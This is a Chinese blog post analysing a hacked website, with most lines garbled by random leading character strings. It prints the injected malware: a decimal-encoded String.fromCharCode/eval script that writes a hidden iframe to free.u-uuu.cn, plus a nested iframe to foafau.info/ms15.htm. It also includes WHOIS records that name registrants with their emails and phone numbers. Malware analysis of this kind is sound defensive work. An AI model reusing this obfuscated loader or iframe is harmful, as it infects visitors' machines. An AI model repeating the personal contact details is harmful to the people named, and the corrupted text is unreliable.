首发在我的博客里面，
_~ iw[*#u @@ %.t|= http://www.areway.cn/?p=175 Otm0(+YB 7 >[=^_8M 5 5c|O 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
HBx= \%;n `XE r( e9 <script>t=’60,105,102,114,97,109,101,
OMg<V 32,115,114,99,61,104,116,116,112,58,47,47,
LW_ f 102,114,101,101,46,117,45,117,117,117,46,99,
G?/ DrnK: 110,47,101,114,114,111,114,46,104,116,109,
pOG1jI5<{8 32,119,105,100,116,104,61,49,48,48,32,104,
LvUj9eVb/L 101,105,103,104,116,61,48,62,60,47,105,102,
7,9=uk>0\ 114,97,109,101,62′;
"y/?WQ>,3 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
8k1Dj1@0z JQHvz9Yg <script>t=’60,105,102,114,97,109,101,32,115,
`t'W2X 114,99,61,104,116,116,112,58,47,47,102,114,
O2dW6bt 101,101,46,117,45,117,117,117,46,99,110,47,
hJ~Uf5Q 101,114,114,111,114,46,104,116,109,32,119,
bTs?!~q 105,100,116,104,61,49,48,48,32,104,101,105,
' o>B'$ 103,104,116,61,48,62,60,47,105,102,114,97,
1gN=-A C 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
@ eIJ]p document.write(t);</script>
g:Xhw$x9 Ur=(.%@ <html xmlns=”
*QQzvhk http://www.w3.org/1999/xhtml +8Ymw:D7a “>
.r qhi <head>
/?F/9hL <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
JKmIvZ)8 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Opc
ZU{4 b <title>首页 - 爱生活家庭网
:~N-.# wLJ:\_Jaf 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
xx9 g' 'Q 转换字符串后的大概内容是（谁点击后果自付）：
^)*- Bo)I <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
;{tj2m, T\j{Bi5 \J 查询玉米u-uuu.cn的详细信息：
@{tz:f Domain Name: u-uuu.cn
?8Z0Gqt74 ROID: 20070901s10001s64972306-cn
E 3gh?6 Domain Status: ok
q ]e`9/U Registrant Organization: 王雷
e:n<E nT Registrant Name: 王雷
ww $ Administrative Email:
czlovexs@126.com w\i\Wp,FP Sponsoring Registrar: 北京万网志成科技有限公司
64G[|" j D Name Server:ns.yovole.com
Df<xWd2 Name Server:ns1.yovole.com
2:7 zG "$ Registration Date: 2007-09-01 17:54
l@+7:n4K0 Expiration Date: 2008-09-01 17:54
PV\+P6aIb 最后PING了一下地址 都没有什么….
cir$voL ,UGRr S 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
"ZsOd>[/ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
J1sv[$ 9 <script language=”javascript” src=”
"wn zo, http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script y8 !4 q >
lc,tVe_ 这个玉米应该有可能是木马作者的：
O %!!w foafau.info的详细信息：
^N;.cY Access to INFO WHOIS information is provided to assist persons in
:xv!N*Le determining the contents of a domain name registration record in the
1o;J,dYu Afilias registry database. The data in this record is provided by
]X5 9 Afilias Limited for informational purposes only, and Afilias does not
b TM{l.Aq3 guarantee its accuracy. This service is intended only for query-based
jW3!6*93 access. You agree that you will use this data only for lawful purposes
-Rd/G x and that, under no circumstances will you use this data to: (a) allow,
9-
YwkK#z enable, or otherwise support the transmission by e-mail, telephone, or
C|). ;V& facsimile of mass unsolicited, commercial advertising or solicitations
lpeEpI/gM to entities other than the data recipient’s own existing customers; or
]?+p5;{y4 (b) enable high volume, automated, electronic processes that send
`c5"d queries or data to the systems of Registry Operator, a Registrar, or
`W:%mJd9 Afilias except as reasonably necessary to register domain names or
G{ sOR modify existing registrations. All rights reserved. Afilias reserves
aM2 l2 the right to modify these terms at any time. By submitting this query,
E2@65b$ you agree to abide by this policy.
Ax?y Domain ID:D22418703-LRMS
v7jq@#- Domain Name:FOAFAU.INFO
D!NQ~'.a=2 Created On:20-Nov-2007 16:05:42 UTC
+"c q(Y@ Last Updated On:20-Nov-2007 16:05:44 UTC
^~@U] Expiration Date:20-Nov-2008 16:05:42 UTC
g -H N Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Wm"4Ae:B Status:CLIENT DELETE PROHIBITED
Z&4&-RCi Status:CLIENT RENEW PROHIBITED
WDc+6/< Status:CLIENT TRANSFER PROHIBITED
];a=Pn-:}G Status:CLIENT UPDATE PROHIBITED
l@ H Status:TRANSFER PROHIBITED
@}OL9Ch Registrant ID:GODA-040110615
&7b|4a8B% Registrant Name:liu hong
TI#''XCB5 Registrant Organization:
?hM>mL Registrant Street1:beijing
28H8l2{[> Registrant Street2:
(?`kYTw7g' Registrant Street3:
\h D dU+ Registrant City:beijing
z4+k7a@jn Registrant State/Province:
[16cFqD Registrant Postal Code:100000
T:Hr&ws4 Registrant Country:CN
M?:c)&$]D Registrant Phone:+86.860108888777
OK6] e3UO Registrant Phone Ext.:
;04Ldb1{|3 Registrant FAX:
e8]\U/ Registrant FAX Ext.:
8V)^R(\; Registrant Email:bbbshiji@163.com
r>" Admin ID:GODA-240110615
&nkW1Ner9 Admin Name:liu hong
'wI"Bo6e Admin Organization:
ll6wpV0m Admin Street1:beijing
B}:( z a& Admin Street2:
]2'na?q9 Admin Street3:
HATA- M Admin City:beijing
gb > }v7 Admin State/Province:
fX.>9H[w@~ Admin Postal Code:100000
4%}*&nsI-Z Admin Country:CN
HA`@7I Admin Phone:+86.860108888777
`V"sOTb Admin Phone Ext.:
SWQ5 fcPu Admin FAX:
tqeZ#w7 Admin FAX Ext.:
aj}sc/Qa Admin Email:bbbshiji@163.com
I8/DR z$A Billing ID:GODA-340110615
7J|VD#DE$Y Billing Name:liu hong
I8<,U!$ Billing Organization:
!+4cqO Billing Street1:beijing
0 79'(% Billing Street2:
H(2]7dRS% Billing Street3:
Xn,v]$M! Billing City:beijing
\X&H; xnC5 Billing State/Province:
6290ZNvr Billing Postal Code:100000
T2 Y,U { Billing Country:CN
gO,25::") Billing Phone:+86.860108888777
xY U .D+RY Billing Phone Ext.:
2 fS[J'-o Billing FAX:
eDJ fU Billing FAX Ext.:
~aOuG5 XK Billing Email:bbbshiji@163.com
'+vA\(K Tech ID:GODA-140110615
w@ c87;c Tech Name:liu hong
|-
rI@2` Tech Organization:
rEv*)W Tech Street1:beijing
t|<NI+H(e Tech Street2:
~J8pnTY Tech Street3:
i|}[A Tech City:beijing
psC
mbN Tech State/Province:
!]fQ+ *X0g Tech Postal Code:100000
q7Dw _< Tech Country:CN
o {EC&- Tech Phone:+86.860108888777
iMFgmM| Tech Phone Ext.:
E%v?t1>/ Tech FAX:
E}_[QEY;Y Tech FAX Ext.:
6,LubZFD Tech Email:bbbshiji@163.com
wm")[!h)v Name Server:NS27.DOMAINCONTROL.COM
(_*5oj - Name Server:NS28.DOMAINCONTROL.COM
X*Dj[TD] Name Server:
W4U@% b do Name Server:
UybW26C;aU Name Server:
_ uKZ Ml Name Server:
dT$M y`> Name Server:
f1)x5N Name Server:
V$ic Wu Name Server:
D8nD/||;Z Name Server:
qc!MG_{Y Name Server:
v-Fg
+ Name Server:
;w-qHha Name Server:
{W~q
z^>u4 pM&YXb? 接着下载每个文件里面的代码：
V8wKAj
Ux 一步一步看..
B Ma)O 
7kK #\dI 
~+bGN 
#gaQaUjR 
G0{H5_h 
{}m PE d b 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
